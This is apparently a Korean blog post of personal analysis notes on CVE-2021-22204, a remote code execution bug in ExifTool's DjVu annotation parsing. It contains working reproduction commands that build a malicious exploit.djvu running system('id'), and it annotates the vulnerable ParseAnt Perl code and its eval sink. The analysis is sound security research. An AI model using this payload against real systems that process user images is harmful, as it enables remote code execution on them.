ExifTool 원격 코드 실행 취약점

이 글은 CVE-2021-22204의 분석 글이라고 할 수 있지만, 사실상 제 메모장에 더 가깝습니다. 잡다한 내용으로 가득 차 있어서 취약점 분석 글치고는 다소 잡담이 많아 보일 수 있지만, 그 과정에서 많은 것을 배웠습니다.

솔직히 말하면, 이 도구를 사용해본 적도 없고 Perl 언어도 거의 접해본 적이 없어서 분석 및 재현 과정 내내 의문투성이였습니다. 분석을 시작하기 전에 먼저 온라인에 공개된 POC와 제가 가진 의문점을 살펴보겠습니다.

POC - convisolabs

제가 본 글은 [1]로, 취약점 발생 원인에 대해 간략히 소개하고 있습니다. 하지만 Perl 코드를 이해하지 못해 많은 부분이 명확하지 않았습니다. 재현 과정은 다음과 같습니다.

12.23 버전의 exiftool 다운로드

wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip

압축 해제 및 설치

$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install

물론 설치를 원하지 않는다면 exiftool-12.23 디렉토리의 exiftool 파일을 환경 변수에서 찾을 수 있는 디렉토리에 넣어도 됩니다. Perl은 python과 같은 인터프리터 언어이기 때문에 exiftool 도구를 바로 사용할 수 있습니다.

악성 이미지를 만들기 위해 먼저 필요한 도구를 설치합니다.

$ sudo apt-get update
$ sudo apt-get install djvulibre-bin

다음 명령을 실행하여 악성 djvu 파일을 생성합니다.

$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# 这是最让我困惑的地方，我不懂为什么要进行压缩（因为看其他POC是不需要的）
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Anything in the format 'N,N' where N is a number
# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image
# ANTz = Will write the compressed annotation chunk with the input file

#------------------------------------------------------------------------------ # Parse DjVu annotation "s-expression" syntax (recursively) # Inputs: 0) data ref (with pos($$dataPt) set to start of annotation) # Returns: reference to list of tokens/references, or undef if no tokens, # and the position in $$dataPt is set to end of last token # Notes: The DjVu annotation syntax is not well documented, so I make # a number of assumptions here! sub ParseAnt($) { my $dataPt = shift; my (@toks, $tok, $more); # (the DjVu annotation syntax really sucks, and requires that every # single token be parsed in order to properly scan through the items) Tok: for (;;) { # find the next token last unless $$dataPt =~ /(\S)/sg; # get next non-space character if ($1 eq '(') { # start of list $tok = ParseAnt($dataPt); } elsif ($1 eq ')') { # end of list $more = 1; last; } elsif ($1 eq '"') { # quoted string $tok = ''; for (;;) { # get string up to the next quotation mark # this doesn't work in perl 5.6.2! grrrr # last Tok unless $$dataPt =~ /(.*?)"/sg; # $tok .= $1; my $pos = pos($$dataPt); last Tok unless $$dataPt =~ /"/sg; $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos); # we're good unless quote was escaped by odd number of backslashes last unless $tok =~ /(\\+)$/ and length($1) & 0x01; $tok .= '"'; # quote is part of the string } # must protect unescaped "$" and "@" symbols, and "\" at end of string $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge; # convert C escape sequences (allowed in quoted text) $tok = eval qq{"$tok"}; } else { # key name pos($$dataPt) = pos($$dataPt) - 1; # allow anything in key but whitespace, braces and double quotes # (this is one of those assumptions I mentioned) $tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef; } push @toks, $tok if defined $tok; } # prevent further parsing unless more after this pos($$dataPt) = length $$dataPt unless $more; return @toks ? \@toks : undef; }

#------------------------------------------------------------------------------ # Parse DjVu annotation "s-expression" syntax (recursively) # Inputs: 0) data ref (with pos($$dataPt) set to start of annotation) # Returns: reference to list of tokens/references, or undef if no tokens, # and the position in $$dataPt is set to end of last token # Notes: The DjVu annotation syntax is not well documented, so I make # a number of assumptions here! sub ParseAnt($) { # 获取传入的参数（是个引用） my $dataPt = shift; print($$dataPt); my (@toks, $tok, $more); # (the DjVu annotation syntax really sucks, and requires that every # single token be parsed in order to properly scan through the items) Tok: for (;;) { # find the next token last unless $$dataPt =~ /(\S)/sg; # get next non-space character if ($1 eq '(') { # start of list # 遇到左括号则递归处理 $tok = ParseAnt($dataPt); } elsif ($1 eq ')') { # end of list $more = 1; last; } elsif ($1 eq '"') { # quoted string $tok = ''; for (;;) { # get string up to the next quotation mark # this doesn't work in perl 5.6.2! grrrr # last Tok unless $$dataPt =~ /(.*?)"/sg; # $tok .= $1; # 获取前一次正则匹配命中的位置，执行到这里，这个位置就是第一个引号的位置 my $pos = pos($$dataPt); last Tok unless $$dataPt =~ /"/sg; # 再次匹配右引号的位置，并截取引号之间的内容 $tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos); print($tok."\n"); # we're good unless quote was escaped by odd number of backslashes # 检查反斜杠的数量是不是奇数，避免在后续qq{""}时，行尾的"被转义 last unless $tok =~ /(\\+)$/ and length($1) & 0x01; # 如果是奇数，则补上一个"号 $tok .= '"'; # quote is part of the string } # must protect unescaped "$" and "@" symbols, and "\" at end of string $tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge; # convert C escape sequences (allowed in quoted text) print(qq{"$tok"}."\n"); $tok = eval qq{"$tok"}; } else { # key name pos($$dataPt) = pos($$dataPt) - 1; # allow anything in key but whitespace, braces and double quotes # (this is one of those assumptions I mentioned) $tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef; } push @toks, $tok if defined $tok; } # prevent further parsing unless more after this pos($$dataPt) = length $$dataPt unless $more; return @toks ? \@toks : undef; }

Tag ID	Tag Name	Writable
'ANTa'	ANTa	-
'ANTz'	CompressedAnnotation	-

CVE-2021-22204

인기

취약점 분석

Perl 정규 표현식

Perl에서의 eval

기타 우회 방법

기타 파일 형식

수정 방법

참고 자료